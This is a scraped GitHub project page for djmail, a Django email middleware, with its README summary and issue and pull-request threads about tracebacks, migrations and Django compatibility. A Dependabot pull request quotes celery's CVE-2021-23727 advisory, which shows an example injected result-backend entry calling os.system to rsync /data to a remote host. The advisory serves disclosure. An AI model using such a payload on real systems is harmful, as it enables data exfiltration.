Simple, powerfull and nonobstructive django email middleware.

Related tags

Email djmail
Overview

djmail

https://travis-ci.org/bameda/djmail.svg?branch=master

djmail is a BSD Licensed, simple and nonobstructive django email middleware.

Why use djmail? Because it:

  • Sends emails asynchronously without additional libraries.
  • Sends emails using celery tasks.
  • Can retry sending failed messages (with cron task or celery periodic task).
  • Can assign delivery priority.
  • Has a powerfull class to build emails from templates.
  • Works transparently (works as middleware for native django email backends)

djmail was created by Andrey Antukh (@niwinz) and is maintened by David Barragán (@bameda).

You can read the full documentation at https://bameda.github.io/djmail/.

Comments
  • class NoArgsCommand removed in django 1.10

    class NoArgsCommand removed in django 1.10

    https://docs.djangoproject.com/en/1.10/releases/1.10/#features-removed-in-1-10

    The class BaseCommand should be used instead: https://docs.djangoproject.com/ja/1.10/internals/deprecation/#deprecation-removed-in-1-10

    Note:

    Subclassing the BaseCommand class requires that you implement the handle() method.

    https://docs.djangoproject.com/ja/1.10/howto/custom-management-commands/#django.core.management.BaseCommand

    opened by joinghel 5
  • Basic cleanup

    Basic cleanup

    Hi @bameda,

    I am reworking my fork to integrate my work in your repository.

    This pull requests contains the basic modifications I made that should not change the behavior of the code. Can you review this please?

    Next ones to come. Thanks.

    opened by davidfischer-ch 5
  • Migration missing?

    Migration missing?

    >>> email.send()
    Traceback (most recent call last):
      File "<console>", line 1, in <module>
      File "/vagrant/env/lib/python2.6/site-packages/django/core/mail/message.py", line 276, in send
        return self.get_connection(fail_silently).send_messages([self])
      File "/vagrant/env/lib/python2.6/site-packages/djmail/backends/base.py", line 24, in send_messages
        return self._send_messages(email_messages)
      File "/vagrant/env/lib/python2.6/site-packages/djmail/backends/default.py", line 13, in _send_messages
        return core._send_messages(email_messages)
      File "/vagrant/env/lib/python2.6/site-packages/djmail/core.py", line 80, in _send_messages
        for email in email_messages]
      File "/vagrant/env/lib/python2.6/site-packages/djmail/models.py", line 76, in from_email_message
        instance.save()
      File "/vagrant/env/lib/python2.6/site-packages/django/db/models/base.py", line 545, in save
        force_update=force_update, update_fields=update_fields)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/models/base.py", line 573, in save_base
        updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/models/base.py", line 635, in _save_table
        forced_update)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/models/base.py", line 679, in _do_update
        return filtered._update(values) > 0
      File "/vagrant/env/lib/python2.6/site-packages/django/db/models/query.py", line 510, in _update
        return query.get_compiler(self.db).execute_sql(None)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/models/sql/compiler.py", line 980, in execute_sql
        cursor = super(SQLUpdateCompiler, self).execute_sql(result_type)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/models/sql/compiler.py", line 786, in execute_sql
        cursor.execute(sql, params)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/backends/util.py", line 69, in execute
        return super(CursorDebugWrapper, self).execute(sql, params)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/backends/util.py", line 53, in execute
        return self.cursor.execute(sql, params)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/utils.py", line 99, in __exit__
        six.reraise(dj_exc_type, dj_exc_value, traceback)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/backends/util.py", line 53, in execute
        return self.cursor.execute(sql, params)
      File "/vagrant/env/lib/python2.6/site-packages/django/db/backends/sqlite3/base.py", line 452, in execute
        return Database.Cursor.execute(self, query, params)
    OperationalError: no such table: djmail_message
    

    I think we are missing a migration here.

    opened by mauricioabreu 5
  • Fixed errors handling for python2.

    Fixed errors handling for python2.

    Python2:

    import io, traceback
    
    f = io.StringIO()
    traceback.print_stack(file=f)
    
    
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "/usr/local/Cellar/python/2.7.6_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7/traceback.py", line 269, in print_stack
        print_list(extract_stack(f, limit), file)
      File "/usr/local/Cellar/python/2.7.6_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7/traceback.py", line 23, in print_list
        '  File "%s", line %d, in %s' % (filename,lineno,name))
      File "/usr/local/Cellar/python/2.7.6_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7/traceback.py", line 13, in _print
        file.write(str+terminator)
    TypeError: unicode argument expected, got 'str'
    

    io.StringIO accepts a unicode string, but python2 traceback module generates 8-bit strings. So solution is BytesIO for Python2.

    opened by klen 4
  • remove python2 items, upgrade django versions required

    remove python2 items, upgrade django versions required

    Made some changes to allow compatibility with newer Django versions. Since Python 2 is now EOL and not supported anymore by Django, so cleanup was possible.

    opened by mhindery 3
  • Celery backend: Handle other serializers than pickle (JSON)

    Celery backend: Handle other serializers than pickle (JSON)

    When switching to the Celery back-end I have an issue: The parameters for the task, "emails" are instances of django.core.mail.message.EmailMessage or EmailMultiAlternatives. There are both not serializable to JSON. We do not use pickle as recommended by Celery's documentation.

    I will look at it tomorrow but in the meantime if you have any idea to fix it, thanks for sharing.

    opened by davidfischer-ch 3
  • Fix PEP8, add template names to empty body exception

    Fix PEP8, add template names to empty body exception

    I suggest:

    • fix PEP8 errors,
    • add template names to exception about empty body, to be able to simply update them,
    • remove duplication of code in _render_message_body_as_html and _render_message_body_as_text.

    Greetings,

    opened by ad-m 2
  • Add cache to pip in TravisCI

    Add cache to pip in TravisCI

    Hello,

    It will improve speed tests in TravisCI. References https://docs.travis-ci.com/user/caching/ , https://pip.pypa.io/en/stable/reference/pip_install/#caching .

    Greetings,

    opened by ad-m 2
  • Tests fails in django 1.10

    Tests fails in django 1.10

    Hello,

    During #32 pull requests I identified uncompatibility with django 1.10 with following erros:

    ======================================================================
    ERROR: test_simple_send_email_with_magic_builder_1 (djmail.tests.SerializationEmailTests)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email2-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/test/utils.py", line 208, in inner
        return func(*args, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 275, in test_simple_send_email_with_magic_builder_1
        email = mails.test_email2('[email protected]', {'name': 'foo'})
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 159, in _dynamic_email_generator
        email_instance = template_email.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email2-subject.html' does not exists.
    ======================================================================
    ERROR: test_proper_handlign_different_uses_cases (djmail.tests.TestTemplateEmailSending)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email1-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 212, in test_proper_handlign_different_uses_cases
        context={'name': 'foo'})
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 173, in make_email
        return instance.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email1-subject.html' does not exists.
    ======================================================================
    ERROR: test_simple_email_building (djmail.tests.TestTemplateEmailSending)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email1-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 202, in test_simple_email_building
        context={'name': 'foo'})
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 173, in make_email
        return instance.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email1-subject.html' does not exists.
    ======================================================================
    ERROR: test_simple_send_email_1 (djmail.tests.TestTemplateEmailSending)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email1-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/test/utils.py", line 208, in inner
        return func(*args, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 138, in test_simple_send_email_1
        email.send('[email protected]', {'name': 'foo'})
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 117, in send
        email = self.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email1-subject.html' does not exists.
    ======================================================================
    ERROR: test_simple_send_email_2 (djmail.tests.TestTemplateEmailSending)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email2-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/test/utils.py", line 208, in inner
        return func(*args, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 155, in test_simple_send_email_2
        email.send('[email protected]', {'name': 'foo'})
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 117, in send
        email = self.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email2-subject.html' does not exists.
    ======================================================================
    ERROR: test_simple_send_email_with_magic_builder_1 (djmail.tests.TestTemplateEmailSending)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email2-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/test/utils.py", line 208, in inner
        return func(*args, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 171, in test_simple_send_email_with_magic_builder_1
        email = mails.test_email2('[email protected]', {'name': 'foo'})
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 159, in _dynamic_email_generator
        email_instance = template_email.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email2-subject.html' does not exists.
    ======================================================================
    ERROR: test_simple_send_email_with_magic_builder_1_with_extra_kwargs (djmail.tests.TestTemplateEmailSending)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email2-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/test/utils.py", line 208, in inner
        return func(*args, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 189, in test_simple_send_email_with_magic_builder_1_with_extra_kwargs
        from_email="[email protected]")
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 159, in _dynamic_email_generator
        email_instance = template_email.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email2-subject.html' does not exists.
    ======================================================================
    ERROR: test_simple_send_email_with_magic_builder_1_with_low_priority (djmail.tests.TestTemplateEmailSending)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 79, in _render_message_subject
        subject = loader.render_to_string(template_name, context)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 67, in render_to_string
        template = get_template(template_name, using=using)
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/template/loader.py", line 25, in get_template
        raise TemplateDoesNotExist(template_name, chain=chain)
    django.template.exceptions.TemplateDoesNotExist: emails/test_email2-subject.html
    During handling of the above exception, another exception occurred:
    Traceback (most recent call last):
      File "/home/travis/virtualenv/python3.4.2/lib/python3.4/site-packages/django/test/utils.py", line 208, in inner
        return func(*args, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/tests.py", line 236, in test_simple_send_email_with_magic_builder_1_with_low_priority
        email = mails.test_email2('[email protected]', {'name': 'foo'}, priority=10)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 159, in _dynamic_email_generator
        email_instance = template_email.make_email_object(to, context, **kwargs)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 90, in make_email_object
        subject = self._render_message_subject(context)
      File "/home/travis/build/ad-m/djmail/djmail/template_mail.py", line 81, in _render_message_subject
        raise exc.TemplateNotFound("Template '{0}' does not exists.".format(e))
    djmail.exceptions.TemplateNotFound: Template 'emails/test_email2-subject.html' does not exists.
    ----------------------------------------------------------------------
    
    opened by ad-m 2
  • don't use lambda for default value of uuid

    don't use lambda for default value of uuid

    Seems to break migrations in django 1.7, not sure why..

    ./manage.py makemigrations djmail
    
    ...
    File "/home/thijs/.virtualenvs/foo/local/lib/python2.7/site-packages/django/db/migrations/writer.py", line 337, in serialize
        raise ValueError("Cannot serialize function: lambda")
    ValueError: Cannot serialize function: lambda
    
    opened by thijstriemstra 2
  • Improper import in template_mail.py

    Improper import in template_mail.py

    Line 20: from . import exceptions as exc in djmail/template_mail.py

    Error Traceback: ImproperlyConfigured: "cannot import name exceptions"

    There doesn't seem to be an exceptions module anywhere

    opened by snig-batra 2
  • docs: Fix a few typos

    docs: Fix a few typos

    There are small typos in:

    • README.rst
    • djmail/core.py
    • doc/static/asciidoc.js

    Fixes:

    • Should read return rather than renturn.
    • Should read powerful rather than powerfull.
    • Should read maintained rather than maintened.
    • Should read footnotes rather than footnodes.

    Semi-automated pull request generated by https://github.com/timgates42/meticulous/blob/master/docs/NOTE.md

    opened by timgates42 0
  • Bump celery from 4.1.1 to 5.2.2

    Bump celery from 4.1.1 to 5.2.2

    Bumps celery from 4.1.1 to 5.2.2.

    Release notes

    Sourced from celery's releases.

    5.2.2

    Release date: 2021-12-26 16:30 P.M UTC+2:00

    Release by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
      

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    v5.2.1

    Release date: 2021-11-16 8.55 P.M UTC+6:00

    Release by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.
    • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

    ... (truncated)

    Changelog

    Sourced from celery's changelog.

    5.2.2

    :release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      .. code-block:: python

        {
              "exc_module": "os",
              'exc_type': "system",
              "exc_message": "rsync /data [email protected]:~/data"
        }
      

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    .. _version-5.2.1:

    5.2.1

    :release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.

    ... (truncated)

    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 0
  • obtain Message instance after email send

    obtain Message instance after email send

    I am implementing a Notifications feature and I'd like to connect the notification with the email sent, for that I included something like the following to my Notification model.

    email_message = models.OneToOneField(
        djmail_models.Message,
        on_delete=models.SET_NULL,
        null=True,
        blank=True,
        verbose_name=_("Email message"),
    )
    

    But I don't know how to later match this, the only thing that I was able to come up with was:

    self.email_message = djmail_models.Message.objects.filter(
            body_html__icontains=self.id
        ).first()
    

    But that is not optimal, is there a way to get the uuid or model instance for example when the email is sent? or how should I go about doing this? I send the email this way:

    email_builder = template_mail.MagicMailBuilder()
    context = {
        ...
    }
    email = email_builder.notification(self.recipient, context)
    email.send() # <---------- it would be cool to have something like "djmail_message = email.send()"
    
    opened by eLRuLL 0
  • dns resolution failure for EMAIL_HOST blackholes messages

    dns resolution failure for EMAIL_HOST blackholes messages

    I ran into an issue where the DNS entry for the specified host stopped resolving to anything. In this case, all messages marked for sending ended up with a status of draft. I'm assuming that's because djmail knew better than try to send them in the first place, which is fine. The problem is that there was no way for me to resend once the underlying issue was resolved without manually updating the status to something that the resend management command could use (I chose pending).

    opened by jsnshrmn 0
  • Rendering of HTML content

    Rendering of HTML content

    The html content of an email is displayed as code.

    It would be much more useful to see the rendered html.

    The possibility to see the raw html is great. It should just not be the default output.

    opened by jdruiter 3
Owner
David Barragán Merino
Lord of Sealand, OpenSource, WebDesign, colorful apples & flying cows at @kaleidos and @taigaio
David Barragán Merino
A Django app that allows you to send email asynchronously in Django. Supports HTML email, database backed templates and logging.

Django Post Office Django Post Office is a simple app to send and manage your emails in Django. Some awesome features are: Allows you to send email as

User Inspired 856 Dec 25, 2022
A Django email backend for Amazon's Simple Email Service

Django-SES Info: A Django email backend for Amazon's Simple Email Service Author: Harry Marr (http://github.com/hmarr, http://twitter.com/harrymarr) C

null 882 Dec 29, 2022
Djrill is an email backend and new message class for Django users that want to take advantage of the Mandrill transactional email service from MailChimp.

Djrill: Mandrill Transactional Email for Django Djrill integrates the Mandrill transactional email service into Django. PROJECT STATUS: INACTIVE As of

Brack3t 327 Oct 1, 2022
A Django email backend that uses a celery task for sending the email.

django-celery-email - A Celery-backed Django Email Backend A Django email backend that uses a Celery queue for out-of-band sending of the messages. Wa

Paul McLanahan 430 Dec 16, 2022
This Python program generates a random email address and password from a 2 big lists and checks the generated email.

This Python program generates a random email address and password from a 2 big lists and checks the generated email.

Killin 13 Dec 4, 2022
GMailBomber is a form of Internet abuse which is perpetrated through the sending of massive volumes of email to a specific email address with the goal of overflowing the mailbox and overwhelming the mail server hosting the address, making it into some form of denial of service attack.

GMailBomber is a form of Internet abuse which is perpetrated through the sending of massive volumes of email to a specific email address with the goal of overflowing the mailbox and overwhelming the mail server hosting the address, making it into some form of denial of service attack.

Muneeb 5 Nov 13, 2022
Esio_dev 3 Oct 15, 2021
faceFarm is an active yahoo email detection script that functions to take over the facebook account using email.

faceFarm – The simple Email Detector. Email Valid Detector for Facebook (Yahoo) faceFarm is an active yahoo email detection script that functions to t

Fadjrir Herlambang 2 Jan 18, 2022
Email-osint - Email OSINT tool written in python3

Email-osint - Email OSINT tool written in python3

Surtains 7 Nov 28, 2022
Django email backends and webhooks for Amazon SES, Mailgun, Mailjet, Postmark, SendGrid, Sendinblue, SparkPost and more

Django email backends and webhooks for Amazon SES, Mailgun, Mailjet, Postmark, SendGrid, Sendinblue, SparkPost and more

null 1.4k Jan 1, 2023
A django package which act as a gateway to send and receive email with amazon SES.

django-email-gateway: Introduction: A Simple Django app to easily send emails, receive inbound emails from users with different email vendors like AWS

MicroPyramid 28 Nov 9, 2022
this is django project through this project you can easily sends message to any email

SEND-EMAIL this is django project through this project you can easily sends message to any email home when you run the server then you will see this t

Ankit jadhav 1 Oct 17, 2021
Django module to easily send emails/sms/tts/push using django templates stored on database and managed through the Django Admin

Django-Db-Mailer Documentation available at Read the Docs. What's that Django module to easily send emails/push/sms/tts using django templates stored

LPgenerator 250 Dec 21, 2022
A simple library project, a library function to make a temporary email, receive all messages

fake-email A simple library project, a library function to make a temporary email, receive all messages Installation : pip install fake-email Example

muntazir halim 13 Sep 15, 2022
A simple email sender

Email-Sender Un semplice Email-Sender che utilizza il modulo smtplib con aggiunta di interfaccia grafica realizzata con il modulo tkinter Per il corre

Vincenzo Caliendo 0 Jan 14, 2022
Spam-bot - Simple email-spammer discord bot

?? Functional [ ✔️ ] Premium system via .json [ ✔️ ] Spammer [ ✔️ ] Validater [ ✔️ ] Discord bot ❓ How to launch ➡️ 1) Make discord bot ➡️ 2) Paste to

null 1 Feb 18, 2022
Simple Email Sender using Python 3.

Email Sender 使用 Python 3 实现的简单邮件发送工具。 Version: 0.1.2 (Beta) 主要功能 使用 SMTP 协议发送邮件 支持 SSL/TLS 、 STARTTLS 加密(为保证安全,强制加密发送) 支持邮件模板与邮件生成 支持向多人群发邮件 日志记录 脚本执行

SUMSC 1 Feb 13, 2022
You take an email and password from the combo list file and check it on mail.com

Brute-Force-mail tool information: Combo Type: email:pass Domains: All domains of the site Url: https://www.mail.com Api: ☑️ Proxy: No ☑️ The correct

null 6 Jun 5, 2022
Search email inbox with python and filter with search criteria via IMAP4 and fastapi or console

Search email inbox with python and filter with search criteria via IMAP4 and fastapi or console

Karma Computing 0 Sep 7, 2021